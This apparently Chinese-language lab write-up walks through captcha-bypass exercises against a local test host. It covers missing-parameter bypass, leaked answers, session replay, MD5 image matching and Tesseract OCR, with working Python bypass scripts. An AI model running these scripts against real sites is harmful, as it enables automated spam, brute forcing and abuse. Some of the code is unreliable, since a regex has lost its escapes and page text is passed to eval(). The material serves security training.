在攻击验证码时,在开始一些核心编码之前,请确保没有逻辑缺陷或某种可预测性。如果你可以绕过验证码而不破坏它...不要破坏它!
注意细节是发现验证码中的逻辑缺陷的关键。当您需要破解验证码时,请务必检查响应的每个细节。
第一个例子是严重开发的具有常见逻辑缺陷的验证码,后面的例子更容易破解并且可以被打破。
在以下所有示例中,目标是围绕验证码构建自动化,成功率很高(大多数情况下为100%)。
我对验证码领域的图像处理和相关研究并不了解。这些方法大多是黑客攻击,并不代表该领域的最新技术水平。
Example 1
此脚本是严重实施验证码的常见问题。为避免错误消息,开发人员在确保其值正确之前检查captcha参数是否存在:
if params[:captcha] and params[:captcha] != session[:captcha]
# ERROR: CAPTCHA is invalid redirect
[...]
end
# CAPTCHA is valid
[...]
但是,此示例提供了一个漏洞:如果未提供验证码,则脚本不会安全地失败。
当我们输入验证码,提交时是这样的:
绕过验证码这个很简单,只需要把”captcha“参数去掉就可以了。
Example 2
在此示例中,应用程序泄露了答案。通过检查返回的HTML页面的源码,您应该能够编写一个可以自动破解此验证码的脚本。
Example 3
在此示例中,应用程序泄露了答案。通过检查服务器发回的响应,您应该能够编写一个可以自动中断此验证码的脚本。
您还可以使用JavaScript控制台从cookie中检索验证码并调用document.cookie:
Example 4
这是一个非常有趣的例子,因为我在这套练习的开发过程中犯了一个错误。
在这里,您不必真正破解验证码。您只需要破解一次,您就可以重复使用相同的值和session ID来反复执行相同的请求。当您尝试破解验证码时,请确保答案只能使用一次。您可以通过编写一个带有session ID和参数值的脚本来轻松编写此漏洞利用脚本,并一次又一次地提交它们。
Example 5
这个例子是弱点的最后一个例子,这里的弱点来自用于创建验证码的字典; 使用的单词数量有限。 您可以通过生成所有单词列表和图像的MD5来轻松编写饼干。 然后,当您想要提交表单时,您只需要检索图像,计算其MD5并提交匹配的单词。
简单来说:只需要多提交几次,就会发现这个验证码样本很少。我们可以把它都保存下来,然后每次用验证码与保存下来的做对比。就可以搞定。
def captcha5():
url = "http://192.168.40.131/captcha/example5/"
post_url = "http://192.168.40.131/captcha/example5/submit?captcha={}&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"
# base_url = "http://192.168.40.131/"
ss = requests.session()
captcha = {}
# get pic md5
dirs,folder,files = os.walk("./pic/").next()
for fi in files:
if fi.endswith("png"):
path = os.path.join(dirs, fi)
with open(path, "rb") as f:
md5 = hashlib.md5(f.read()).hexdigest()
print fi, fi[0: -4]
captcha[md5] = fi[0: -4]
# get pic
html = ss.get(url)
# print html.text
# print html.content
soup = BeautifulSoup(html.text, "html.parser")
src = soup.select("img")[0]["src"]
print src
img_data = ss.get(url + src).content
print "[+] img_url: {}".format(url + src)
with open("pic.png", "wb") as f:
f.write(img_data)
with open("pic.png", "rb") as f:
img_md5 = hashlib.md5(f.read()).hexdigest()
if img_md5 in captcha:
html = ss.get(post_url.format(captcha[img_md5]))
print "img_content: {}".format(captcha[img_md5])
print "post_url: {}".format(post_url.format(captcha[img_md5]))
# print html.text
if "Success" in html.text:
print "[+] Successful.."
else:
print "[-] Somethine Wrong"
Example 6
在这个例子中,我们将使用OCR工具(Tesseract:https://code.google.com/p/tesseract-ocr/)破解这个简单的验证码。这里的目标是构建一个获得高成功率的脚本。
只需使用tesseract的基本脚本,您就可以获得超过95%的成功率。您需要使用以下算法:
- 转到主页:http://192.168.40.131/captcha/example6/ 以获取新的验证码和cookie(rack.session)。
- 检索图像。
- 在图像上运行tesseract并检索结果。
- 使用正确的cookie提交结果。
以下事项可以提高您的成功率:
- 只提交一个值,如果它是一个单词。
- 仅提供仅包含小写字符的值。
根据应用程序工作流程,您可能希望获得非常高的成功率。例如,如果您花费10分钟填写表单,则需要确保验证码破解程序具有较高的成功率。如果只是为了利用SQL注入,你可以重试,直到找到正确的值,而你不需要非常准确。
提示:
Example 6与Example 7都可以用Tesseract来识别,不需要做其它的操作,所以脚本都写在一个函数了。这里只试了一次,到时候可根据情况来看是否需要写个循环来提交。因为正确率可能不是100%。
def captcha67():
url = "http://192.168.40.131/captcha/example8/"
login_url = "http://192.168.40.131/captcha/example8/submit?captcha={}&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"
ss = requests.session()
html = ss.get(url).text
soup = BeautifulSoup(html, "html.parser")
pic_src = soup.select("img")[0]["src"]
img_data = ss.get(url + pic_src).content
img_name = "captcha6.png"
with open(img_name, "wb") as f:
f.write(img_data)
def img_2_str(filename):
cmd = "tesseract {} {}"
print cmd.format(filename, filename)
strs = ""
try:
output = subprocess.check_output(cmd.format(filename, filename), shell=True)
with open(filename+".txt", "r") as f:
strs = f.read().strip()
return strs
except:
print "[-] Error Happend!"
return strs
result = img_2_str(img_name)
if result != "":
html = ss.get(login_url.format(result)).text
if "Success" in html:
print "[+] OK!"
Example 7
如果我们使用与上面相同的技术,我们可以看到成功率明显较低。 为了提高识别度,我们将尝试删除蓝色的“HatchFill”。
一种非常简单的方法是在运行 Tesseract 之前使用阈值修改图像。 这可以通过以下ruby代码完成:
require 'RMagick'
image = Magick::Image.read("current7.png").first
image = image.threshold(THRESHOLD)
image.write("current7.png")
您可以使用THRESHOLD值来提高检测率。 只需使用这个简单的技巧,成功率就会提高。 此外,由于Tesseract检测到的信息与条件匹配(只有一个由小写字符组成的单词),因此获得此速率所需的时间较短。
Example 8
在这里我们可以看到图像被破坏了。 我们打算打开图像,不破坏它,并使用以前的技术来提高成功率。
可以使用以下ruby代码:
require 'RMagick'
image = Magick::Image.read("current8.png").first
image = image.implode(IMPLODE)
image = image.threshold(THRESHOLD)
image.write("current8.png")
您可以使用THRESHOLD和IMPLODE(IMPLODE可以为负值)来提高检测率。
与前面的示例一样,检测率将得到提高,并且获得此速率所需的时间将减少。
Example 9
这个验证码依赖于要求客户端执行简单的算术运算,它非常容易破解。 您可以只评估提供的字符串(可能不是一个好主意),或者您可以编写一个简单的解析器来为您执行算术运算。 这种保护可以防止真正愚蠢的机器人,但对于任何可以执行一些脚本操作的人来说,它都很容易被绕过。
python脚本如下:
def captcha9():
url = "http://192.168.40.131/captcha/example9/"
post_url = "http://192.168.40.131/captcha/example9/submit?captcha={}&submit=Submit"
ss = requests.session()
html = ss.get(url).text
soup = BeautifulSoup(html, "html.parser")
form = soup.select("form")[0].text
print ((form.strip()))
captcha = re.match(r"(d+[+-*/]d+)s+=", (form.strip()))
if captcha:
result = eval(captcha.group(1))
html = ss.get(post_url.format(result)).text
if "Success" in html:
print "[+] OK"